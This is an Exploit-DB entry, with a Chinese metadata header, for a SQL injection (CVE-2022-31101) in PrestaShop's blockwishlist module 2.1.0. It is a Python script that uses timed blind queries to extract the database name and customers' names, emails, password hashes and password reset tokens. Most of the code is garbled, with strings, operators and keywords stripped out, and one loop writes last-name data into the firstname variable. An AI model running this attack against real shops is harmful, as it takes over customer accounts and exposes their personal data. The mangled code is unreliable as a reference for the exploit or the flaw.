标题: Prestashop blockwishlist module 2.1.0 - SQLi EDB-ID: 51001 CVE: 2022-31101 类型: WEBAPPS 平台: PHP 发布日期: 2022-08-09 漏洞利用脚本: # Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Date: 29/07/22
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101


# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop

import requests

url   
cookie  

header  
     cookie



param  
staticStart  
staticEnd  
charset  
charset  charset
emailCharset  
emailCharset  emailCharset




 length   
    condition    length
    fullUrl  url  param  staticStart  condition  staticEnd

    
        req  requestsgetfullUrl headersheader timeout
     requestsexceptionsTimeout
        dbLengthlength
         length end
        
        


databaseName  
 i   dbLength
     char  charset
        condition    i    char  
        fullUrl  url  param  staticStart  condition  staticEnd

        
            req  requestsgetfullUrl headersheader timeout
         requestsexceptionsTimeout
            char end
            databaseName  char
            



prefix  
tableName  prefix  
staticStart  
staticEnd1    tableName  
staticEnd2  

  tableName  

    

    condition    
    fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2

    
        req  requestsgetfullUrl headersheader timeout
              
        
     requestsexceptionsTimeout
        

      

    
     length   
        condition    length
        fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2
        
        
            req  requestsgetfullUrl headersheader timeout
         requestsexceptionsTimeout
            firstnameLengthlength
             length end
            
            
        
    
    
    firstname  
     end
     i   length
         char  charset
            condition    i    char  
            fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2

            
                req  requestsgetfullUrl headersheader timeout
             requestsexceptionsTimeout
                char end
                firstname  char
                
    

    
     length   
        condition    length
        fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2
        
        
            req  requestsgetfullUrl headersheader timeout
         requestsexceptionsTimeout
            lastnameLengthlength
             length end
            
            
    
    
    lastname  
     end
     i   length
         char  charset
            condition    i    char  
            fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2

            
                req  requestsgetfullUrl headersheader timeout
             requestsexceptionsTimeout
                char end
                firstname  char
                
    

    
     length   
        condition    length
        fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2
        
        
            req  requestsgetfullUrl headersheader timeout
         requestsexceptionsTimeout
            emailLengthlength
             length end
            
                

    
    email  
     end
     i   length
         char  emailCharset
            condition    i    char  
            fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2

            
                req  requestsgetfullUrl headersheader timeout
                 reqstatus_code    char  
                    char end
                    email  char
             requestsexceptionsTimeout
                char end
                email  char
                
    

    
     length   
        condition    length
        fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2
        
        
            req  requestsgetfullUrl headersheader timeout
         requestsexceptionsTimeout
            passwordHashLengthlength
             length end
            
                

    
    passwordHash  
     end
     i   length
         char  emailCharset
            condition    i    char  
            fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2

            
                req  requestsgetfullUrl headersheader timeout
                 reqstatus_code    char  
                    char end
                    passwordHash  char
             requestsexceptionsTimeout
                char end
                passwordHash  char
                
    

    
     length   
        condition    length
        fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2
        
        
            req  requestsgetfullUrl headersheader timeout
         requestsexceptionsTimeout
            passwordResetTokenLengthlength
             length end
            
                

    
    passwordResetToken  
     end
     i   length
         char  emailCharset
            condition    i    char  
            fullUrl  url  param  staticStart  condition  staticEnd1    staticEnd2

            
                req  requestsgetfullUrl headersheader timeout
                 reqstatus_code    char  
                    char end
                    passwordResetToken  char
             requestsexceptionsTimeout
                char end
                passwordResetToken  char URL: https://www.exploit-db.com/exploits/51001